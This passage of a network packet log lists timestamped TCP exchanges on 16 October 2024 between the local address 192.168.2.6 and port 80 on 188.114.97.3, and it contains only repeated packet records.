                                                                                    Oct 16, 2024 10:58:22.592892885 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.592904091 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.592933893 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.592971087 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.604942083 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.605017900 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.605027914 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.605037928 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.605048895 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.605060101 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.605070114 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.605092049 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.605134010 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.614542961 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.614558935 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.614569902 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.614582062 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.614598989 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.614598989 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.614610910 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.614628077 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.614643097 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.614661932 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.614672899 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.614681959 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.614684105 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.614692926 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.614712954 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.614720106 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.614728928 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.614739895 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.614765882 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.614933014 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.614986897 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.615024090 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.615041018 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.615051985 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.615067005 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.615076065 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.615078926 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.615089893 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.615102053 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.615130901 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.615138054 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.615149975 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.615161896 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.615179062 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.615189075 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.615190983 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.615211964 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.615226030 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.615295887 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.615307093 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.615315914 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.615324974 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.615334988 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.615340948 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.615345001 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.615355015 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.615356922 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.615406036 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.615417957 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.615428925 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.615438938 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.615444899 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.615449905 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.615459919 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.615462065 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.615473986 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.615485907 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.615516901 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.615545034 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.615561008 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.615570068 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.615576029 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.615581036 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.615592003 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.615595102 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.615602970 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.615612030 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.615616083 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.615653992 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.615678072 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.615689993 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.615700006 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.615709066 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.615719080 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.615729094 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.615731001 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.615739107 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.615746975 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.615756989 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.615767956 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.615770102 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.615780115 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.615782976 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.615792990 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.615808010 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.615809917 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.615834951 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.615842104 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.615849018 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.615853071 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.615864038 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.615875006 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.615878105 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.615888119 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.615904093 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.615993977 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.616004944 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.616014004 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.616035938 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.616048098 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.616255999 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.616266966 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.616276979 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.616297007 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.616308928 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.647892952 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.647926092 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.647939920 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.647953033 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.647964954 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.648040056 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.648101091 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.673830032 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.673955917 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.674005032 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.674036026 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.674067020 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.674084902 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.674087048 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.674102068 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.674124956 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.674134016 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.674186945 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.674205065 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.674220085 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.674233913 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.674252987 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.674267054 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.674287081 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.674300909 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.674328089 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.709937096 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.710011005 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.710042953 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.710135937 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.710175991 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.727070093 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.727093935 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.727106094 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.727117062 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.727128983 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.727140903 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.727154016 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.727164030 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.727185965 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.727247000 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.731575012 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.731609106 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.731621027 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.731697083 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.731697083 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.731745958 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.731762886 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.731774092 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.731782913 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.731801987 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.731802940 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.731812954 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.731832981 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.731841087 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.731852055 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.731863022 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.731865883 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.731897116 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.731914043 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.731987953 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.732069016 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.732096910 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.732108116 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.732109070 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.732131004 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.732151985 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.732223988 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.732260942 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.732264996 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.732275963 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.732280970 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.732311010 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.732321024 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.732321978 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.732341051 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.732368946 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.732393980 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.732412100 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.732422113 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.732430935 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.732430935 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.732443094 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.732450008 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.732456923 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.732465029 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.732470989 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.732491970 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.732517958 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.732528925 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.732539892 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.732551098 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.732562065 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.732573032 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.732574940 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.732584000 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.732593060 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.732599020 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.732616901 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.732623100 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.732633114 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.732649088 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.732657909 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.732660055 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.732673883 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.732690096 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.732713938 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.732714891 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.732727051 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.732738018 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.732748985 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.732759953 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.732765913 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.732774019 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.732774019 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.732789993 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.732801914 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.732812881 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.732819080 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.732820988 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.732830048 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.732852936 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.732857943 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.732870102 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.732876062 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.732881069 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.732881069 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.732892036 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.732918978 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.732928991 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.732989073 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.733000040 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.733010054 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.733021975 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.733031988 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.733050108 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.733052015 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.733052015 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.733061075 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.733072042 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.733087063 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.733087063 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.733109951 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.733582973 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.733622074 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.733935118 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.733978987 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.733989000 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.734020948 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.764763117 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.764796019 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.764806986 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.764919043 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.790997982 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.791013002 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.791023970 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.791059971 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.791062117 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.791074038 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.791094065 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.791096926 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.791105986 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.791116953 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.791126013 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.791137934 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.791141987 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.791145086 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.791156054 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.791177988 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.791372061 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.827266932 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.827284098 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.827296019 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.827321053 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.827362061 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.844314098 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.844368935 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.844382048 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.844393015 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.844429970 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.844458103 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.844470024 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.844470978 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.844495058 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.844495058 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.844510078 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.844521999 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.844521999 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.844531059 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.844535112 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.844542980 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.844553947 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.844578981 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.848880053 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.848923922 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.848936081 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.848978996 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.849001884 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.849014044 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.849025011 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.849025011 CEST4980280192.168.2.6188.114.97.3
